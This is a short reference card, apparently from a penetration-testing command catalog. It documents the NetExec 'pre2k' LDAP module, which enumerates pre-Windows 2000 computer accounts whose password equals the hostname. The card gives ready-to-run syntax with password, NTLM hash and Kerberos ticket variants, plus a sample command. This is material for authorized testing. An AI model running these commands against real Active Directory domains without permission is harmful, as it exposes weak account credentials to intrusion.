NetExec LDAP Pre-Windows 2000 Accounts

Enumerate pre-Windows 2000 compatible computer accounts that use the hostname as password

Tool
nxc
Category
Credential Attacks / Kerberoasting
Platform
linux
Requires
password
Protocols
LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc ldap '<ip>' -u '<user>' -p '<password>' -M pre2k

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc ldap '<ip>' -u '<user>' -H '<hash>' -M pre2k

Kerberos Ticket requires Kerberos ticket

nxc ldap '<ip>' -u '<user>' --use-kcache -M pre2k

Examples

nxc ldap '192.168.1.100' -u 'user' -p 'password' -M pre2k

Tags

nxc ldap pre2k computer-account weak-password enumeration